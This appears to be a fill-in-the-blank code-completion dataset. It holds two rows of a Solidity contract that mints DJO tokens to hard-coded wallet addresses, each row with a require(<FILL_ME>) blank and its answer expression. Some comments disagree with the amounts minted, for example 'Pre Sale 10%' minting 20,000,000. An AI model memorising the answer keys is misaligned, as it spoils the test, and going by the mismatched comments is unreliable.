_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(<FILL_ME>)
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(
_balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]
+ _balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]
+ _balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]
+ _balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]
+ _balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]
+ _balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]
+ _balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]
+ _balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]
+ _balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]
+ _balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]
+ _balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]
+ _balances[0x1107C27a0d63438339Eb958221479919a929042E]
+ _balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]
+ _balances[0x1b876EFF10554740009e10ad7399475a032d716F]
+ _balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]
+ _balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]
+ _balances[0xED44d99ddCBE241505F671019A0a70c9de234661]
+ _balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca] == totalPrivateSaleInstantDistro
);
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]+_balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215]==700_000ether | 62,345 | _balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]+_balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215]==700_000ether |
null | // SPDX-License-Identifier: BUSL-1.1
pragma solidity 0.8.18;
import {ERC20Extendable} from "./ERC20Extendable.sol";
abstract contract DojochipPredeploy is ERC20Extendable {
function _preDeployMintToAll() internal {
// Marketing Wallets: 8% (8,000,000 DJO)
_mint(0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927, 625_534 ether);
_mint(0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4, 469_317 ether);
_mint(0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54, 874_673 ether);
_mint(0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689, 449_475 ether);
_mint(0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6, 276_155 ether);
_mint(0xA2468e1e574d14263A70a40c994b3C11176011f8, 254_745 ether);
_mint(0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db, 260_036 ether);
_mint(0x1c580676795eE575db2f231283F08b4156B3087E, 843_512 ether);
_mint(0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e, 953_439 ether);
_mint(0x303F83d025f418099CF83a265FeeF6553FD6C4f2, 964_106 ether);
_mint(0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1, 261_843 ether);
_mint(0x7De7544a69b5f179DC4869E98EC0d935BD454B53, 425_087 ether);
_mint(0x9dc475E578CF2300622156840EB6c5b59569971f, 468_161 ether);
_mint(0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf, 252_113 ether);
_mint(0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62, 621_804 ether);
require(
_balances[0xbE3E738a1E22D3DFa7372A4415b4F43E514eD927]
+ _balances[0x6aBe70873514d0ff8f620Af8416C493B8D97C9f4]
+ _balances[0x26ABA73cf5c797c7E5C3f14a7005EcE2C079Df54]
+ _balances[0xD6d5F3775f9d7bc92F0fC46bB92E667fAf89E689]
+ _balances[0x0ff071A738d9aD8E792178A7Cb3A0892Ab9a69b6]
+ _balances[0xA2468e1e574d14263A70a40c994b3C11176011f8]
+ _balances[0x72CC850Bbc3766c7e408ad9C1f6aFf33e273a2db]
+ _balances[0x1c580676795eE575db2f231283F08b4156B3087E]
+ _balances[0x9BC2A83329F0e86ab02fA65F2C66d19bCeA8410e]
+ _balances[0x303F83d025f418099CF83a265FeeF6553FD6C4f2]
+ _balances[0x469FfA585105c17cC09a633cB361AAd4a3C8A1a1]
+ _balances[0x7De7544a69b5f179DC4869E98EC0d935BD454B53]
+ _balances[0x9dc475E578CF2300622156840EB6c5b59569971f]
+ _balances[0x8DEa03bAF6EB49629EBbe2C01FAFA297CCDe7FBf]
+ _balances[0xC27B503F521E16F7dd0bc2cfc21205F1c878AE62] == 8_000_000 ether
);
// Dev Wallets: 8% (8,000,000 DJO)
_mint(0xD4221487833D02E61c91B40b631C2605472D4950, 257_895 ether);
_mint(0x8AdFcB39DFDC41356873D92962efA912E746CC48, 906_364 ether);
_mint(0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd, 789_098 ether);
_mint(0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c, 375_291 ether);
_mint(0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508, 454_197 ether);
_mint(0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1, 261_344 ether);
_mint(0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF, 754_211 ether);
_mint(0x161FF8513675Ec7C862428Db1af79981D9E42977, 813_938 ether);
_mint(0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028, 251_384 ether);
_mint(0xDf8Af2077F67e4f1010930E8702E938a07Ce7135, 360_748 ether);
_mint(0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad, 961_370 ether);
_mint(0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40, 297_093 ether);
_mint(0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C, 746_995 ether);
_mint(0xfd69C29b73d7101faE71800822C2590757F9C6A4, 517_967 ether);
_mint(0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b, 252_105 ether);
require(
_balances[0xD4221487833D02E61c91B40b631C2605472D4950]
+ _balances[0x8AdFcB39DFDC41356873D92962efA912E746CC48]
+ _balances[0x565f5Fa787E9ace4d2C51aF9F44Faf74C08b0eBd]
+ _balances[0x4B6adaa44E19F8de15e8874109cb83eB1919BD3c]
+ _balances[0x4D3573327ce3eEBEe77c85F57eE00E6294cB1508]
+ _balances[0xdb261E668Bd1B35af8aB53ab84EB9B3cf5508Db1]
+ _balances[0x29FC15c75738dBED8d3F6f6c3c4E030B073555CF]
+ _balances[0x161FF8513675Ec7C862428Db1af79981D9E42977]
+ _balances[0xcF1E48Ec5a87e28D5D4adF8C8Ac4102e25a1c028]
+ _balances[0xDf8Af2077F67e4f1010930E8702E938a07Ce7135]
+ _balances[0xb411A7D7Dce2A78E03407D5F6CCb6A2179846bad]
+ _balances[0xbE0efF6DE1C1f10FCd0cd1df2611a76A6A8aeD40]
+ _balances[0x3aB3BD4b5E7f9380ee39347993c0dAb1F5716d5C]
+ _balances[0xfd69C29b73d7101faE71800822C2590757F9C6A4]
+ _balances[0x1c83cB087Bf17Cfb9316959bEAb3502717DeCa6b] == 8_000_000 ether
);
// Team Wallets: 6%, 2% each member (6,000,000 DJO -> 2,000,000 DJO/member)
_mint(0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e, 513_458 ether);
_mint(0xA92bE07793E8bab130325671762B93bF5ED3c88B, 412_762 ether);
_mint(0x872187502fB67Ce8D8a8080B225809e8bA17FFf2, 810_178 ether);
_mint(0x606Bf65163e69de6A3E87D676bc6B316142A0435, 263_602 ether);
require(
_balances[0x118573198a8e490Ed3Eff9a29e97d6Ba45a66A9e]
+ _balances[0xA92bE07793E8bab130325671762B93bF5ED3c88B]
+ _balances[0x872187502fB67Ce8D8a8080B225809e8bA17FFf2]
+ _balances[0x606Bf65163e69de6A3E87D676bc6B316142A0435] == 2_000_000 ether,
"failed here"
);
_mint(0x45Bf5E65D951C506e871b3e97050761C3bB16812, 908_154 ether);
_mint(0x97e3ea363070E7306c6B09efb28e22970ef3B549, 284_633 ether);
_mint(0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe, 517_447 ether);
_mint(0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2, 289_766 ether);
require(
_balances[0x45Bf5E65D951C506e871b3e97050761C3bB16812]
+ _balances[0x97e3ea363070E7306c6B09efb28e22970ef3B549]
+ _balances[0x0fc99e9f787e417d2478F243b8B0ae9d0FEfffCe]
+ _balances[0xEb24723Cd04732Bc16A664Ddb0B17cd3a4984Cd2] == 2_000_000 ether
);
_mint(0xEdb0703AA463062bC28D74333BfdAC7e322777c6, 274_802 ether);
_mint(0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A, 722_255 ether);
_mint(0x417720545e766e2Db703945Ea6878E4a27F141ff, 488_584 ether);
_mint(0x876b2916BE35cB14240A37EF53E0A6754f16dA3f, 514_359 ether);
require(
_balances[0xEdb0703AA463062bC28D74333BfdAC7e322777c6]
+ _balances[0x2774bC3Be1a4456Fcda5f21f57D3De0324d3332A]
+ _balances[0x417720545e766e2Db703945Ea6878E4a27F141ff]
+ _balances[0x876b2916BE35cB14240A37EF53E0A6754f16dA3f] == 2_000_000 ether
);
// IEO Wallets: 3% (3,000,000 DJO)
_mint(0x7b638c25350D43750CAd716546b693058aE62F20, 758_751 ether);
_mint(0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A, 214_759 ether);
_mint(0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252, 606_954 ether);
_mint(0x008829F8f4B7C27aDc2D981576Bdc06B79F90337, 882_625 ether);
_mint(0xF02EE3F70C1660926D966478E1E9c297718F4423, 433_526 ether);
_mint(0xeAa2657513DC02f370599eb63264053c358A3d4A, 103_385 ether);
require(
_balances[0x7b638c25350D43750CAd716546b693058aE62F20]
+ _balances[0xBf1fa8e2fA3A5Ba62afF8475f180B90bD1E9eD1A]
+ _balances[0xbFbA2931F0Cc718438e08233DbA2384Bc89A6252]
+ _balances[0x008829F8f4B7C27aDc2D981576Bdc06B79F90337]
+ _balances[0xF02EE3F70C1660926D966478E1E9c297718F4423]
+ _balances[0xeAa2657513DC02f370599eb63264053c358A3d4A] == 3_000_000 ether
);
// Legal Wallets: 2% (2,000,000 DJO)
_mint(0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf, 860_703 ether);
_mint(0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2, 410_134 ether);
_mint(0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a, 729_163 ether);
require(
_balances[0x1c326E6be35A462173b5A5Cb8dE5e0F7432d0DAf]
+ _balances[0x5a8D55af8a05100fc9BFaEc29334A0731A50d4b2]
+ _balances[0x4Ee688c4adE9FF9FEa63Ab1A2BAe21B32FdBa77a] == 2_000_000 ether
);
// OTC Wallets: 6% (6,000,000 DJO)
_mint(0x76E6B457677550EF9E254dAf6dB01A57BAa852E6, 725_591 ether);
_mint(0xe09838571032054cbD151cBA76c5B7Ba59cDf679, 782_808 ether);
_mint(0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339, 907_810 ether);
_mint(0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e, 338_228 ether);
_mint(0x4aF0F50a5812c5213d826A53c5FcE7764CF81722, 643_887 ether);
_mint(0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3, 749_470 ether);
_mint(0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0, 785_692 ether);
_mint(0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7, 334_050 ether);
_mint(0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5, 732_464 ether);
require(
_balances[0x76E6B457677550EF9E254dAf6dB01A57BAa852E6]
+ _balances[0xe09838571032054cbD151cBA76c5B7Ba59cDf679]
+ _balances[0x7dFfbF537a43bEaF95A5562E0ce6c397155AA339]
+ _balances[0x94366f6Bb72896cAa69A0503aE1d9da686dbD71e]
+ _balances[0x4aF0F50a5812c5213d826A53c5FcE7764CF81722]
+ _balances[0x85B86651fd4B51b0d772bCfa6b9F153b0319afe3]
+ _balances[0x698a9ea37Bc8e637760DA78E2E1AAa397c147FF0]
+ _balances[0xaDD1991B14FC3999D8eBe6F37bCA5F0B656B91C7]
+ _balances[0x862C58FD76F74C13cE2c0ba3D9A33C496e8f0Bf5] == 6_000_000 ether
);
// Rewards Wallets: 1% (1,000,000 DJO)
_mint(0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d, 338_053 ether);
_mint(0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4, 661_947 ether);
require(
_balances[0xb4Ec15BCA5d3b2eA75971C52f7f88606dB3D284d]
+ _balances[0x0cCd8BD3D6846Af0B137A69018Df35A158a7DcB4] == 1_000_000 ether
);
// Partnership Wallets: 3% (3,000,000 DJO)
_mint(0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090, 333_831 ether);
_mint(0x486A62Bb40351037B1d717171bC1928432b4b322, 815_286 ether);
_mint(0x6b4e43b76AA4FA91136b67848B6B562584316b09, 253_587 ether);
_mint(0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1, 358_567 ether);
_mint(0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9, 975_742 ether);
_mint(0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD, 262_987 ether);
require(
_balances[0x7Ee016c092DB9F77473b35b24d79d4114E1Ff090]
+ _balances[0x486A62Bb40351037B1d717171bC1928432b4b322]
+ _balances[0x6b4e43b76AA4FA91136b67848B6B562584316b09]
+ _balances[0x63C896435b0DC3363e860D6D0E6A5BCC08EEF8e1]
+ _balances[0x3e3C9789f827cB5F10f39845AeAd068c1f1a55c9]
+ _balances[0xed3a935D9eDcB882259e4494dc78C216b6F2BfAD] == 3_000_000 ether
);
// Blok Investment Wallet: 0.3% (300,000 DJO)
_mint(0x23B8675D4095363587C87a6d38c2Afd9dA56365d, 300_000 ether);
// Emergency Fund: 0.7% (700,000 DJO)
_mint(0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd, 284_736 ether);
_mint(0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215, 415_264 ether);
require(
_balances[0xF04934B802ba0548FA76621d18ffFfe5Eae10dAd]
+ _balances[0xED24b9Fea5cd8a49bcCcE5aE71C0cDA239549215] == 700_000 ether
);
// Private Sale Wallets: 40% of 8% (8,000,000 DJO) => 3,200,000 DJO
uint256 totalPrivateSaleInstantDistro = 3_200_000 ether;
uint256 tokensPerPrivateSaleWallet = totalPrivateSaleInstantDistro / 18;
_mint(0x1c8623C92a82CD48d353a1420e497CA2375B2426, tokensPerPrivateSaleWallet);
_mint(0x61b99C3471D860E86b38557EA61c0CF7d3B948e5, tokensPerPrivateSaleWallet);
_mint(0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993, tokensPerPrivateSaleWallet);
_mint(0xcEce368057755c0f17Bab43c7840BC2322d421b7, tokensPerPrivateSaleWallet);
_mint(0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77, tokensPerPrivateSaleWallet);
_mint(0xF2699b9C22f052C01a3678F79706a0765f782D8C, tokensPerPrivateSaleWallet);
_mint(0x19E830D463D8CB662b878CEaefC32f03a1716626, tokensPerPrivateSaleWallet);
_mint(0x45d579B96d97Eb4c973F8f720b4764467658B742, tokensPerPrivateSaleWallet);
_mint(0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581, tokensPerPrivateSaleWallet);
_mint(0x56343AC3460C8c983161a2C070d5A44D61ae8f82, tokensPerPrivateSaleWallet);
_mint(0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1, tokensPerPrivateSaleWallet);
_mint(0x1107C27a0d63438339Eb958221479919a929042E, tokensPerPrivateSaleWallet);
_mint(0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091, tokensPerPrivateSaleWallet);
_mint(0x1b876EFF10554740009e10ad7399475a032d716F, tokensPerPrivateSaleWallet);
_mint(0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82, tokensPerPrivateSaleWallet);
_mint(0x342543e59193094304315Ff57A9Ab3C1fb61BB2b, tokensPerPrivateSaleWallet);
_mint(0xED44d99ddCBE241505F671019A0a70c9de234661, tokensPerPrivateSaleWallet);
_mint(
0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca,
totalPrivateSaleInstantDistro - (tokensPerPrivateSaleWallet * 17)
);
require(<FILL_ME>)
// v1 Holder Airdrop Wallets: 14% (14,000,000 DJO)
_mint(msg.sender, 14_000_000 ether);
// Pre Sale Allocation: 10%, (10,000,000 DJO)
_mint(msg.sender, 20_000_000 ether);
// Public Sale Allocation: 12% (12,000,000 DJO)
_mint(msg.sender, 10_000_000 ether);
// Private Sale Allocation (Vestment): 60% of 8% (8,000,000 DJO) => 4,800,000 DJO
_mint(msg.sender, 8_000_000 ether - totalPrivateSaleInstantDistro);
// Liquidity Pair Allocation
_mint(msg.sender, 10_000_000 ether);
require(totalSupply() == 100_000_000 ether, "Total Supply should be equal to 100mil");
}
function _preDeploy() internal {
}
}
| _balances[0x1c8623C92a82CD48d353a1420e497CA2375B2426]+_balances[0x61b99C3471D860E86b38557EA61c0CF7d3B948e5]+_balances[0x574d7BdbEC3057717bbD8F9a3a9B5Ae7E8785993]+_balances[0xcEce368057755c0f17Bab43c7840BC2322d421b7]+_balances[0x0aDaA76E0322CE89bFf1E96eC903e31E5903fD77]+_balances[0xF2699b9C22f052C01a3678F79706a0765f782D8C]+_balances[0x19E830D463D8CB662b878CEaefC32f03a1716626]+_balances[0x45d579B96d97Eb4c973F8f720b4764467658B742]+_balances[0x151BC7BDfBe2C63e0A289A124cFa7Fb72c724581]+_balances[0x56343AC3460C8c983161a2C070d5A44D61ae8f82]+_balances[0x541d273b298B203C9b3Af26e6a3A6Ed797BC9be1]+_balances[0x1107C27a0d63438339Eb958221479919a929042E]+_balances[0x05C87E9365D9F4766Dee9AC2B3b3b47C3edc0091]+_balances[0x1b876EFF10554740009e10ad7399475a032d716F]+_balances[0x1209F500FdC617ee9c871b355CC92dB9dc31Bf82]+_balances[0x342543e59193094304315Ff57A9Ab3C1fb61BB2b]+_balances[0xED44d99ddCBE241505F671019A0a70c9de234661]+_balances[0x53d83C5a9485a198794Ff63e4934fC8cb3Ed48Ca]==totalPrivateSaleInstantDistro | 62,345 | 